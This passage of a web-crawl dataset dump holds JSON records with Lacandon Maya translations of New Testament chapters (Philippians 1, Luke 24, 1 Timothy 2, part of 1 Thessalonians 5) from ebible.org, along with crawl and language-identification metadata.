p'actiquechob.\nBaxuc caj u ya'araj C'uj ich u t'ʌn.\n14 Mʌ' ja wirej, caj beta'b ten C'uj yʌjmasirob u t'ʌn soc u yamtic a mac teta'b quir u yacsic tu yor. Robob yʌjmasirob u t'ʌn C'uj ra' u pixamob a cu tarob ich C'uj.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/HEB01.htm","date":"2021-12-02T13:21:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00452.warc.gz","language":"lac","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000063180923462}","num_words":706,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.306,"stopwords_ratio":0.5,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A JE' JU'UNA', RAJI' TI' U YET ACSɅ'ORIROB ICH U CAJAR FILIPOS. RAJI' TU TS'IBTA PABLO\nFILIPENSES\n1\nA Pablojo' caj u yʌnxchun u tsicbar ti' ij quet acsʌ'orirex\n1 A teno' Pablojen, quet yejer in wet acsʌ'orir Timoteo, a tenobo', u c'urewenob Jesucristo. A tenobo', tan in t'ʌnicob techex ich a je' u ju'unina'. Tan in tsicbarob techex, a mac a cʌja'anob ich u cajar Filipos quire' quet yejer to'onex Jesucristo quire' raji' yʌnino'onex. Tan in tsicbarob techex xan, a mac oc ca' ts'urinta'c ten u yet acsʌ'orirob bayiri' xan, techex a mac a ca' ts'urirex a wet acsʌ'orirex. 2 Quin t'ʌnicob C'uj, a mac ic Tetex C'uj, quet yejer ij Jaj Ts'urirex ca' u yam techex an bic tsoy tu t'ʌnob, a baywo' mʌna' ba' ca bin a tucrex.\nBaxuco' Pablo caj u t'ʌnaj C'uj ti' u yet acsʌ'orirob\n3 Wa ber quin c'ʌ'otiquechex quin wa'aric ti' C'uj: \"Bayo' C'uj, quen ti', quire' in wet acsʌ'orirob a cu yacsicob tu yorob a t'ʌn.\" A baywo' quin wa'aric ti' C'uj. 4 Mʌ' ja wirej, wa ber quin t'ʌnic C'uj techex, jach qui' in wor quire' p'eri' ij corex quic beyajex ti' C'uj. 5 Ra' u q'uinin caj a wacsex ta worex ti' C'uj hasta u q'uinin baje'rer. Rajen, u jach tsoyir u t'ʌn C'uj tan u man tu cotor mac. 6 A teno', in wer a je'ra', a C'ujo' a mac a tu yʌnxchun u beyaj ta pixamex, raji' C'uj cu bin u beyaj tic pixamex aro'. Rajra' cu betic hasta ca' bin c'uchuc tu q'uinin cu yu'ur ic Jaj Ts'urirex. 7 Jach tsoy wa baxuco' ca' in c'ʌ'otechex. Mʌ' ja wirej, in jach yajechex, quire' quet to'onex yejer C'uj caj u yajquino'onex rajen cax c'ʌra'anen a tera' tu cu ma'cʌr winic, quet to'onex c'ucha'an ij corex ic pacran yamtiquex ic bʌjex xan. Mʌ' ja wirej, tan ic pacraj yamtiquex ic bʌjex xan wa cu puriquenob ʌcʌtan ich juez soc a ti' taro' quin toc aric ti'ob u jach tsoyir u t'ʌn C'uj. 8 A C'ujo' yer wa jin jach yajechex an ten bic Jesucristo u yajo'onex. 9 A teno' tan in t'ʌnic C'uj techex soc a jach qui' erex C'uj, bayiri' soc C'uj u cha'ic a werex a ba' jach tsoy, soc c'ucha'an a worex a yajquintiquex mac soc a yajquintiquex mac jach manan. 10 A baywo' c'ucha'an a worex a tetiquex a ba' jach manan tsoyir. Jeroj tune', wa ber ca' bin tac Cristo quir u pʌyico'onex ca'anan, a ray u q'uinino, je' u yiric Cristo u jach tsoyir ta pixamex. Quire' Cristo je' u yiric mʌna' mac tu p'uspachtajob Jesús quire' a ba' ta betex taj uch. 11 A baywo' c'ucha'an a worex a betex tu cotor a ba' jach taj quire' Jesucristo tan u beyaj ta pixamex. A baywo', a C'uj xano' bin u ca' sʌjta'bir ten u jer mac quire' techex, rajen je' u bin u tsicbarob an ten bic jach tsoy a C'ujo' quire' techex tan a manex tu tsoyir.\nJach manan qui' yor Pablo wa cu sʌjta' Cristo ten mac\n12 In wet acsʌ'orirex, a teno' in c'at a werex cax a ba' in ber a teno' mʌ' jin mʌ'quintaj u jach tsoyir u t'ʌn C'uj cax ti' yʌnena' tu cu ma'cʌr winicob. Ya'ab mac tu toc yubajob u jach tsoyir u t'ʌn C'uj. 13 Ich tu cotor yatochob a soldadojo' u winiquirob romano tu caja'anob, cax a soldadojo' u rey César, robob ti taro' xan, yubmʌnob ti' yʌnen tu cu ma'cʌr winicob quire' quin sayʌr tu pach Jesucristo. Ti' yʌn u jer mac ya'ab yubmʌnob xan. 14 Quire' ti' yʌnen tu cu ma'cʌr winicob yʌn ya'ab in wet acsʌ'orirob jach chichij yorob ʌcʌtan ti' C'uj. Rajen, tan u manob u masicob u jach tsoyir u t'ʌn C'uj. Ts'oc u ch'ic sajquirob baje'rer.\n15 Tu cotor tan u tsec'ticob Cristo. Yʌn mac q'uex yorob tu cu tsec'ticob quire' u c'at yiric wa c'ucha'an yorob an ten bic quin tsec'tic ten. Yʌn mac tan u tsec'ticob u jach tsoyir u t'ʌn C'uj quire' tsoy u pixamob. 16-17 Aro' cu tsec'ticob quire' u yajenob. Yʌn mac u jer q'uex yorob ten rajen tan u manob u tsec'ticob u jach tsoyir u t'ʌn C'uj. U c'at yiricob in muc'yaj a teno', cax wa ber tu mʌca'anen tu cu ma'cʌr winicob quire' u c'at u yiricob u chuquiquenob. 18 A ray winico', mʌ' jach no'j ti' teni' wa baxuc cu tucricob tu yorob. Mʌ' ja wirej, a ba' jach no'j ti' ten wa cu tsec'ticob Cristo, cax mʌ' tan u tsec'ticob quire' tsoy u pixamob. Jach qui' in wor wa cu tsec'ticob Cristo.\nMʌ' tucur in ca'i'. 19 Mʌ' jarari', quire' ca t'ʌniquex C'uj ten. U Taj'or u Pixam C'uj, a mac tuchi'ta'b ten Cristo, je' u yamtiquene'. Rajen in wer je' in siptare'. 20 A teno' jach manan in c'at wa mʌ' in ch'a'ej suraquir wa ber ca' bin uruc Cristo. A teno' in jach er, je' u yamtiquene', rajen, je' in man in toc araj ti'ob Cristo soc u sʌjta' ten mac quire' a teno', cax quimiquen. 21 Ti' toy cuxa'anen te'ra' ich yoc'ocab, a teno', quin chen pachtic wa Cristo je' u bin sʌjta'bir quire' a teno' tin tsec'taj Cristo. Rajen, wa quin quimin, a Cristojo' jach manan cu bin sʌjta'bir. 22 Wa ti' toy cuxa'anen te'ra' ich yoc'ocab, a baywo' je' in chen beyaj ti' Cristo. Rajen, mʌ' in wer a ba' in chen c'at in betej. 23 A teno', mʌ' in wer a ba' quin tetic ich a ca'turo'. A teno' in c'at in pachtej in quimin soc ca' xiquen ca'anan tu yʌn Cristo, quire' jach manan tsoy a ich ca'anano'. 24 Quire' mʌ' c'ucha'an a worex ta junanex, rajen, jach nojen a teno' wa ti' toy quin p'atʌr in yamtiquechex. 25 Quin wu'yic tin wor, rajen in wer je' in toc cuxtare' soc je' in yamtiquechex a qui' acsex ta worex ti' Cristo. Bayiri' je' u chichtar u muc' a pixamexe'. Wa ca qui' acsiquex ta worexe', in wer je' u nequi'tar a worexe'. 26 Rajen, wa ber quin wʌc'ʌs tar tu yʌnechex, jach manan ca bin a wa'ariquex ti' Cristo: \"Bayo' Cristo, quire' sipta'b Pablo tu cu ma'cʌr winicob.\"\n27 Yʌn manenex tu tsoyir. Mʌ' ja wirej, aro' jach nojechex quire' a techexo' ta wacsex ta worex ti' u jach tsoyir u t'ʌn C'uj, a cu tsicbar Cristo. Wa cu siptiquenobo' je' in tar in wiriquechexe', a baywo' je' in wiric bic tabarechex. Wa mʌ' ju siptenobo' je' in wu'yic u tsicbar mac techexe'. Chichquint a worex. Toc p'eri'quint ja worex. Mʌ' ja wirej, a baywo' quet ca bin a p'isiquex a bʌjex quir a masiquex u jach tsoyir u t'ʌn C'uj. 28 Mʌ' a ch'iquex sajquirechex chichin ti' a mac a cu p'actiquechexo'. Cax cu p'actiquechexob, a baywo' chʌca'an yiricob wa ju bʌjiri'ob je' u bin sʌtbirob. Chen a to'onexo' a mac a tu muc'taj tu cu chuquicob ic pachex, jach manan ij querex a C'ujo' c'ucha'an yor u yamtico'onex a C'ujo'. 29 Mʌ' ja wirej, a C'ujo' tu teto'onex mʌ' quir ic chen acsiquex tij corex ti' Cristo. A C'ujo' caj u teto'onex ca' ic muc'tex u chucur ic pachex quire' tij cacsex tij corex ti' Cristo. 30 Rajen, quet ca' ij c'ʌmex u chucur ic pachex ca' ij quibex tu cotoro'onex cu chucur ic pachex. A ucho' ta wu'yex tu chucob in pach, bayiri' baje'rer tan a wu'yiquex te'ra' tan u chuquicob in pach xan.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ebible.org\/lacNT\/PHP01.htm","date":"2021-12-02T13:06:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964362219.5\/warc\/CC-MAIN-20211202114856-20211202144856-00631.warc.gz","language":"lac","language_score":0.9999719858,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 0.9999719858169556}","num_words":1209,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.443,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"24\nRiq'uij Jesús tu quimen\n(Mt. 28.1‑10; Mr. 16.1‑8; Jn. 20.1‑10)\n1 U q'uinin u yʌnxchun semana, jach a'ac'bir a xquico' caj wʌc'ʌs binob tu but' u baquer Jesús. Caj u cuchob a qui' u boque a caj u mʌnajob. 2 Caj c'uchob a xquico' caj yirob toc bʌc'ʌsa'an u tunichir u mac u jor tu but'ij Jesús. 3 Caj ocob tu japnin tunich tu but'ij Jesús. Chen mʌ' caj u yirob u baquer. 4 A xquico' xaca'an u tucurob quire' yirob mʌna' u baquer Jesús. Seb caj yirob ti' yʌn ca'tur xib tu ch'ica'anob xquic. U buquimʌnob u noc' jach sʌc t'inen. 5 A xquico' caj chinrajob u jo'r quire' sajʌcob. A xibo' caj ya'araj ti'ob:\n―Ca tarechex a cʌxtex tu but' u baquer Jesús? 6 Mʌ' ti' yʌn a tera' baje'rer quire' riq'uij tu quimen, cuxa'an baje'rer. Mʌ' wa c'ajtechex ba' caj u ya'araj techex uch. Ti' toy yʌnechex ich u ru'umin Galilea. 7 C'ajtechex caj ya'araj: \"Yʌn in quinsa'r, a teno', quij Jesús, quire' caj u tuchi'ten C'uj a baxuquechexo'. A mac jach c'aso', raji' cu bin u bʌjiquenob ich cruz. Ca' bin ts'ocac in quinsa' quin bin in riq'uir, mʌna' u nup u q'uinin.\" Baxuc caj ya'araj Jesús uch.\n8 A xquico' caj u c'ʌ'otajob u t'ʌn Jesús uch. 9 Caj urob tu bin yirob tu but' u baquer Jesús caj binob ich a oncejo' u camsʌwinicob Jesús. Baxuc ti' yʌnob a yet manob Jesús uche'. Caj u ya'arob ti' a ba' caj u yirob yejer a ba' caj u yubob. 10 A xquico' a mac binob ca'ch quir ya'aricob ti' u camsʌwinicob cuxa'an Jesús. Raji'ob, María, a cu tar ti' u cajar Magdalena, yejer Juana, yejer María, u nʌ' Jacob yejer u jer mʌ' ya'ab xquic. 11 Chen u camsʌwinicob mʌ' ju quibob a ba' caj ara'b ti'ob: \"Riq'uij Jesús.\" Cu chen tucricob a ba' caj u yubob ya'aric a xquic quire' yerob u sosoc a'bar.\n12 A Pedrojo', seb caj riq'uij caj u c'ʌnaj yacab caj bin yiric tu but'ij u baquer Jesús. Caj c'uchij caj u tac ch'enaptaj caj u yiraj u noq'uir tu top u baquer uch. Chen u noq'uir yʌn ich u way. Caj sutnʌj tu junan ich yatoch jach jac'a'an yor a ba' caj u yiraj.\nJesús caj u yesʌj u bʌj ti' u camsʌwinicob ca'turo' ich u berir Emaús\n(Mr. 16.12‑13)\n13 Ra'iri' u q'uinin ca'turob u camsʌwinicob Jesús, caj binob tu berir u cajar Emaús. Yʌn once kilómetros u nachir ti' u cajar Jerusalén. 14 Caj pacran tsicbnʌjob tu cu binob ich bej. Caj tsicbnʌjob ti' a ba' u ber ti' Jesús. 15 Ti' toy cu tsicbarob ich bej tan u chich tsicbarob. Jesús caj u c'ʌs nʌts'aj u bʌj ich u camsʌwinicob soc quet u binob. 16 U camsʌwinicob mʌ' yerob wa Jesús quire' mʌ' ts'a'b u t'ʌnin u c'ʌ'ota'r ten u camsʌwinicob. 17 Jesús caj u c'ataj ti'ob:\n―Ba' ca chich tsicbʌtiquex ich a ber? Biquinin tucurex a caj tu ca binex ich bej?\n18 Turiri' ich a winico' u c'aba' Cleofas caj u nuncaj ti' caj ya'araj:\n―A je' q'uina' tu cotor mac ich u cajar Jerusalén yerob ba' u ber a tera'. Cax jamach ti' yʌnech ich u cajar Jerusalén. Tin t'ʌn jari' teche', mʌ' a wer ba' u ber Jesús.\n19 Jesús caj ya'araj:\n―Ba' u ber tera'? Raji'ob caj u nuncajob ti', caj ya'arajob. Mʌ' wa ta wu'yaj ba' u ber ti' Jesús a cu tar ich u cajar Nazaret? Raji' yʌjtseq'uir u t'ʌn C'uj. A Jesúso' caj u qui'quintaj yor C'uj. Baxuc a pimo' caj u qui'quintaj yorob. Quire' caj u yirob u carem beyaj Jesús. Baxuc a ba' caj u camsaj. 20 Mʌ' wa caj a wu'yaj ―quij ya'ara' ti'― u jach ts'urirob sacerdote yejer u jach ts'urirob u cajar a nuxibo', bic caj u c'ubajob Jesús ti' Pilato caj ts'oc u ta'quicob u jo'r. Caj ara'b u bin bʌjbir ich cruz. 21 Baje'rer ―quij ya'ara' ti'―, yʌn tres u q'uinin tu ts'oc u bajʌr Jesús ich cruz. A tenob tan in pajicob wa raji' tuchi'ta'b ten C'uj quir u taquico'onex u winiquirob judío ti' u winiquirob romano. 22 Bayiri' ―quij ya'araj―, xquic a p'eri'o' yejero'on caj u jac's in worob quire' a'ac'bir caj binob yirejob tu but' u baquer Jesús. 23 Caj c'uchob mʌ' ju yirob u baquer, caj sutnʌjob tu yʌnenob caj tsicbʌnʌjob tenob an ten bic tu jach irob yʌjmasir u t'ʌn C'uj a mac caj u ya'araj ti'ob cuxa'an Jesús. 24 Bayiri' xib xan tres a p'eri'o'enob yejerob caj bin yirob tu but' u baquer. Caj yirob taj a ba' ara'b ten a xquicobo'. Chen mʌ' ju yirob Jesús.\n25 Jesús caj ya'araj ti'ob:\n―Biquinin jach chichex a jo'rex quire' qui' ts'abir ca wacsiquex a worex quire' mʌ' ja wacsajex ta worex a ba' ts'ibta'b ten yʌjtseq'uirob u t'ʌn C'uj uch. 26 A werex jach taj yʌn u muc'yaj Cristo quire' baxuc u c'at C'uj soc u bin sʌjta'bir ten tu cotor mac.\n27 Jesús caj u qui' camsaj ti'ob a ba' ara'b ti' tu cotor ich u t'ʌn C'uj ti' u wʌc'ʌs bʌjiri' ich tu cotor u t'ʌn C'uj. Caj u yʌnxchun tub ts'iba'an ich u t'ʌn Moisés. Caj ts'oc u qui' camsic ti'ob a ba' ara'b ti' ten Moisés. Caj u qui' camsaj ti'ob a ba' ara'b ti' ten yʌjtseq'uirob u t'ʌn C'uj uch.\n28 Tabar u c'uchurob tu cajar tu cu binob ca'ch. Jesús irej wa bin u ca' u potmastej u cajar. 29 Chen u camsʌwinicob caj u chich arob ti' caj ya'arob:\n―P'aten yejero'on, tabar u bin q'uin quire' tabar u yac'birchʌjʌr.\nRajen Jesús caj oquij quir u p'atʌr yejerob. 30 Caj ts'oc u cutarob quir u janʌnob. Jesús caj u chucaj u yoch pan caj ya'araj ti' C'uj:\n―Bayo' ―quij.\nCaj u xat'aj caj u ts'aj ti'ob quir u janticob. 31 Caj ts'a'b u t'ʌnin quir u c'ʌ'oticob Jesús seb caj binij Jesús mʌ' ju yirob tu binij. 32 Caj u pacraj arob:\n―Jach qui' ij cor ca'ch caj u tsicbʌta to'on ich bej, caj u qui' tsicbʌta to'on u t'ʌn C'uj, tu ts'iba'an.\n33 A ca'turo' u camsʌwinicob Jesús, ra'iri' u q'uinin seb caj wʌc'ʌs urob ich u cajar Jerusalén. Caj c'uchob tu much'a'an a oncejo' u camsʌwinicob Jesús yejer u jerob u rac'ob. 34 A oncejo' caj ya'arajob ti' a tan tu c'uchurob:\n―Jach jaj ic Jaj Ts'ur, riq'uij tu quimen quire' Jesús caj tu yes u bʌj ti' Simón.\n35 A tan tu c'uchurob caj u tsicbʌtajob a ba' u ber ti'ob ich u berir Emaús. Caj u c'ʌ'otajob Jesús caj xat'aj u yo'och pan ti'ob.\nJesús caj u yesaj u bʌj ti' u jerob u camsʌwinicob\n(Mt. 28.16‑20; Mr. 16.14‑18; Jn. 20.19‑23)\n36 Ti' toy cu tsicbarob a ba' u ber ti'ob. Seb caj ch'icraj Jesús chumuc tu yʌnob u camsʌwinicob. Caj ara'b ti'ob ten Jesús:\n―Ca' qui'ac a worex ten C'uj ―quij Jesús.\n37 Chen u camsʌwinicob jach jaq'uij yorob caj u ch'aj sajquirob. Cu tucricob ca'ch caj u yirob u pixam a mac quimeno'. 38 Jesús caj ya'araj ti'ob:\n―Biquinin sajquechex? Biquinin ca tucriquex ta worex: Mac a je'ra'? 39 Pʌctex a wirex in c'ʌb yejer in woc soc a werex ten. Tʌrex a wu'yex wa ten quire' u pixam mac mʌna' u bʌq'uer an ten biquen yʌn in bʌq'uer. Mʌna' u baquer an ten biquen.\n40 Caj ts'oc ya'aric ti'ob aro' caj u yesaj u c'ʌb ti'ob soc yiricob tu bʌja'an yoc yejer u c'ʌb. 41 Quire' jach qui' yorob, rajen mʌ' ju quibob wa raji' quire' jac'a'an yorob xan. Jesús caj ya'araj ti'ob:\n―Chan chuquej ten a wochex in jantej.\n42 Robob caj u ts'ajob ti' u xet'er c'ac'bir cʌy quir u chi'ic caj u yʌrob ti' cab. 43 Jesús caj u c'ʌmaj caj u chi'aj cʌy ʌcʌtan tu yʌnob baxuc cab caj u mʌc'aj. 44 Jesús caj ya'araj ti'ob:\n―A ba' caj in wa'araj techex ti' yʌnen ta wicnʌnex ca'ch. Caj in wa'araj techex ca'ch, yʌn in nupsic tu cotor a bar ts'iba'an ich u t'ʌn Moisés. Baxuc a ts'iba'an ich u t'ʌn yʌjtseq'uirob u t'ʌn C'uj. Baxuc a ba' ts'iba'an ich u t'ʌn salmos.\n45 Ra'iri' u q'uinin Jesús caj u ts'aj ti'ob ca' u najtejob a ba' ts'iba'an ich u t'ʌn C'uj ti' Jesús. 46 Jesús caj ya'araj ti'ob:\n―Baxuc a je' ts'iba'an ti': \"Cristo a tuchi'ta'b ten C'uj. Yʌn u quimij, caj ts'oc u quimij cu man mʌna' u nup u q'uinin cu riq'uir ti' u quimirir, quire' a Cristojo', u parar C'uj. 47 A techexo' yʌn a bin a tsec'tiquex in t'ʌn ich tu cotor u cajar tu cʌja'an mac. Tar ca yʌnxchun a tsec'tiquex ich u cajar Jerusalén. Ca' a tsec'tex ti' ca' u yʌn c'axejob tu yorob soc u p'ʌticob u c'asirob soc C'uj cu jawsiob u si'pirob.\" 48 Ca' xic a waquex ti' mac a ba' caj a wirex, baxuc a ba' u ber teno'. 49 Baxuc xan, je' in tuchi'tic techex u Taj'or u Pixam C'uj an ten bic caj u toc araj C'uj. Je' u p'atʌr ta wicnʌnex. Tar ca p'atʌrex ich u cajar Jerusalén hasta ca' bin a c'ʌmiquex a muq'uex a tar u tar ich ca'anan ti' in Tet C'uj.\nJesús cu bin ich ca'anan\n(Mr. 16.19‑20)\n50 Jesús caj u pʌyaj u berob u camsʌwinicob ich u xur u cajar. Tabar u c'uchob ich cajar Betania. Caj u nacsaj u c'ʌb ich yoc'or u camsʌwinicob caj u c'ataj ti' C'uj ca' cʌnantacob ten C'uj. 51 Caj ts'oc u c'atic ti' C'uj ca' cʌnantacob ten C'uj, C'uj caj u pʌyaj Jesús ca'anan. 52 Jamach p'atob u camsʌwinicob quir u c'ujinticob Jesús. Caj ts'oquij caj binob ich u cajar Jerusalén, jach qui' yorob. 53 Rajra' ti' yʌnob u camsʌwinicob Jesús ich carem naj tan u c'ujinticob C'uj.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/lacNT\/LUK24.htm","date":"2022-01-18T18:52:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00082.warc.gz","language":"lac","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000051259994507}","num_words":1564,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.297,"stopwords_ratio":0.518,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nPablo cu camsic bic tabar u t'ʌnicob C'uj soc u cʌnicob\n1 Ca' in yʌn arej tech ajera' Timoteo, ca' a t'ʌnej C'uj ti' tu cotor mac, cax a mʌ' yerob C'uj. C'ʌ'otej ti'ob, ca' bin a t'ʌnej C'uj. Arej ti' C'uj ca' u yamtej tu cotor mac. Ca' bin tac mac quir u yamtic tech ta beyaj ca' a warej C'uj:\n―Bayo' C'uj, tar u yamten tin beyaj.\nBaxuc ca' a t'ʌnej C'uj mac tu cotor:\n―Bayo' C'uj, quechex ti', quire' ti' yʌn tu cotor mac.\n2 A baywo' ca' a t'ʌnej C'uj ca' u yamtej rey ten C'uj tu cu reyinticob ich yoc'ocab. Ca' a t'ʌnej C'uj ca' u yamtej tu cu beyaj a jach ts'uro', soc u cha'icob techex a beyajex. Soc qui' a worex, soc mʌ' u ts'iquintiquechexob. Ca' a t'ʌnej C'uj ti' u jach ts'urirex a ru'uminex soc u cha'icob a c'ujintiquex C'uj cax tub a c'atex. 3 Mʌ' ja wirej, jach tsoy aro' quire' u c'at C'uj yubic a qui' t'ʌnic a ti'o'. A baywo' tan a qui'quintic u yor C'uj ij cʌjtaquirex. 4 Mʌ' ja wirej, a C'ujo' u c'at u taquic tu cotor mac. Rajen C'uj u c'at yiricob u c'ʌmicob u t'ʌn C'uj. 5 Quire' ti' yʌn turiri' C'uj baxuc xan ti' yʌn turiri' yʌjsisquinyʌjir yor C'uj quir u yamtic winic. Raji' winic xan, Jesucristo u c'aba'. 6 A Jesúso' u bʌjiri' tu cha' u bʌj ca' quinsac u bo'orir quir u taquic tu cotor mac. Aro' raji' caj u ts'a'b u najtic ten C'uj wa ber caj c'uchij tu quimin. 7 Rajen quin wa'aric caj u tetajen C'uj uch tan ya'aric ten:\n―Joq'uen, xen, tsec't in t'ʌn ich a mac a mʌ' u winiquirob judío.\nRajen tan in camsic ti'ob u t'ʌn C'uj soc u yacsicob tu yorob u t'ʌn C'uj quire' taj u t'ʌn C'uj. A teno' mʌ' jin tus. Taj quin wa'aric tech, Timoteo, quire' tin wacsaj tin wor ti' Cristo.\n8 Rajen in c'at in wirej xib a mac a jach taj tan yacsicob tu yorob ca' u t'ʌnob C'uj tu cu much'quinticob u bʌjob. In c'at in wiric u rʌc t'ʌnicob C'uj mʌ' p'ujur u ca'ob soc mʌ' u pacran nunquicob u t'ʌnob. In c'at in wiric u rʌc t'ʌnicob C'uj taj. In c'at in wiric u t'ʌnicob C'uj quire' tsoy a pixamex quire' mʌna' ba' ca tucriquex. Tan u ric'sicob u c'ʌbob irob mac tan u chich c'atic ba' ti' C'uj. 9 Baxuc xan in c'at in wir a xquico' ca' u buquintob u noc' a jach tsoyo'. Tsoy u buquintic u noc' tsoy, quij, quire' mʌ' quir u pachta'r ten xibi'. Chen ca' u buquint u noc' soc tsoy yirir ten tu cotor mac. Mʌ' quir u tus tsic'ticob u jo'r quir u yesicob u tsoyir u jo'r. Mʌ' quir u tus ujquinticob uj quir yesicob tsoyir u yujob. Mʌ' quir u tus buquinticob noc' quir u yesicob tsoyir u noc'ob. Baxuc, mʌ' u buquinticob noc' a jach manan co'oj. Arej ti'ob mʌ' u jit'icob u jo'r yejer sʌc uj a jach co'ojo'. Arej ti'ob mʌ' u jit'icob yejer oro xan. 10 Chen a teno' in c'at in wirej a xquico' tan u yamticob u jer quire' tsoy aro'. Mʌ' ja wirej, baxuco' jach tsoy ti' a xquic quire' yacsmʌnob tu yorob. A baxuco' tan u qui'quinticob yor C'uj xan, quire' tan u manob tu tsoyir. 11 A xquico' ca' u cʌnob u t'ʌn C'uj. Mʌ' u yʌn t'ʌnob cu yubicob u t'ʌno' ca' u quibob u t'ʌn u jach ts'urirob a tu cu much'quinticob u bʌjob. 12 Mʌ' ja wirej, a xquico' mʌ' tsoy u camsicob u t'ʌn C'uj ti' xibi' ich tu cu much'quinticob u bʌjob. Mʌ' tsoy u cha'bʌr u ts'urinta'r a xquico' ten xib. Ca' u nup u chi'ob a xquico'. Baxuc in c'at, quij Pablo. 13 Quire' caj beta'b winic ten C'uj, tu yʌn betaj Adán xib. A xquic Eva, pachir caj beta'b ten C'uj. 14 C'ʌ'otej a ucho' mʌ' tabsa'b ten quisin Adán chen a xquico' tabsa'b ten quisin a Evajo'. Caj tar u si'pir quire' mʌ' tu cʌnantaj u t'ʌn C'uj. 15 Rajen a xquico' mʌ' quir u camsicob xibi'. Chen quir u rochicob u chan ochir. Chen quir u camsicob u chan parar soc u manob tu tsoyir. Chen a xquico' ca' u c'ʌmob u t'ʌn C'uj soc u yacsicob tu yorob quir u taquicob u bʌjob, soc mʌ' u pachticob tu yorob c'as barej ca' u yajquintob C'uj.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ebible.org\/lacNT\/1TI02.htm","date":"2022-01-24T03:38:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304471.99\/warc\/CC-MAIN-20220124023407-20220124053407-00054.warc.gz","language":"lac","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000077486038208}","num_words":728,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\n1 Barej mʌ' ba' wir quin ts'ibticob techex in wet acsʌ'orirechex ber q'uin ca' bin uruc Jesús. Mʌ' ij querex wa tan ja' ca' bin tac Jesús. Wa yaxq'uin ca' bin tac. 2 Quire' a techexo' a qui' erex ber ca' bin uruc Jaj Ts'ur mʌna' mac yer ber ca' bin tac. Ra' u q'uinin mʌ' tan a pajiquex u tar Jaj Ts'ur ra' u q'uinin ca' bin tac. Je' u tare' baxuc u tar a mac a ch'a' a ba'taquex. Baxuc ca' bin tac Cristo. 3 Wa ber q'uin cu ya'aric winic: mʌna' ba' yʌn ten, qui' in wor a teno'. Mʌna' mac cu tar u chuquiquen. Jeroj, seb cu bin tar u yajir jach manan yaj cu bin yubej irej wa a xquico'. A cu yajtar u nʌc', yubic u chi'ibar quire' tabar u chuquic yʌrʌc' och. Caj c'uchij tu q'uinin mʌ' tu cu puts'ur a mac a mʌ' yacsmʌnob tu yorob u t'ʌn C'uj. 4 Chen atechexo', in bʌjobechex ta wacsechex ta worex ti' u t'ʌn C'uj. Mʌ' ja wirej, ca' bin tac ic Jaj Ts'urirex mʌ' u jac'ʌr a worex quire' ta wacsex a worex. Ta toc qui' cʌnantechex a bʌjex quire' tan a pajiquex u q'uinin quir u tar ic Jaj Ts'urirex. 5 Iro'onex a mac a cu tar yor quire' caj joc'o'onex tu sasirir C'uj. Baje'rer mʌ' u pararo'onex quisin quire' mʌ' ic manex tu yac'birir quisin. 6 Rajen mʌ' tsoy yʌn ic wenʌnex irob a mac a cu manob tu yac'birir quisin a mac a mʌ' yacsmʌnob tu yorob. Qui' p'isex a bʌjex quire' tabar u tar ic Jaj Ts'urirex. Rajen mʌ' tsoy a manex tu c'asiri'. 7 Mʌ' ja wirej, a mac a cu wenʌn cu wenʌnob jach ac'bir. A cu carchʌjʌrob cu carchʌjʌrob jach ac'bir xan. 8 Chen a to'onexo', quij Pablo, quire' tij cacsex tij corex ti' C'uj caj joc'o'onex tu sasir C'uj. Ca' ij cʌnex a soldado. Baxuc a to'onexo' ca' ij qui' acsex tij corex ti' C'uj, quet ca' ij yajquintex ij quet acsʌ'orirex. Mʌ' ja wirej, a baywo' ta qui' cʌnantiquechex a bʌjex irechex a soldadojo' a cu cʌnanta'r u tsem ten mascab. Ca' ic pajex u q'uinin quir u ta'quico'onex iro'onex a soldado a cu p'oquintic u ta' mascab soc mʌ' u ch'acʌr u jo'r soc u ta'quic u bʌj xan. 9 Mʌ' ja wirej, a C'ujo' tan u ta'quico'onex soc mʌ' ij querarex ich c'ac'. Tu chen tetajo'onex quir u ta'quico'onex. Raji' ta'quico'onex ic Jaj Ts'urirex, Jesucristo. 10 A Jesúso' caj quimij to'onex quir ij cuxtarex munt q'uin ich ca'anan yejer Jesús. Cax cuxa'ano'onex ca' bin tac cax toc quimen ca' bin taco'onex. 11 Rajen pacran chichquintex a worex bayiri' xan pacran yajquintex a bʌjex soc a pacran yamtiquex a bʌjex an ten bic tan a betiquex baje'rer.\nChichquinta'b yorob ten Pablo a mac a tu yacsaj tu yor\n12 A tenob Pablojen yejer Silvano yejer Timoteo, quin chich c'aticob techex in wet acsʌ'orirexob ca' a qui' sʌjtex a mac a cu qui' beyajob tu yʌnechex. Mʌ' ja wirej, tan u camsiquechexob soc a cʌniquechex u t'ʌn C'uj. Ca' a qui' u'yiquechex u t'ʌn ara' a cu qui' beyajob tu 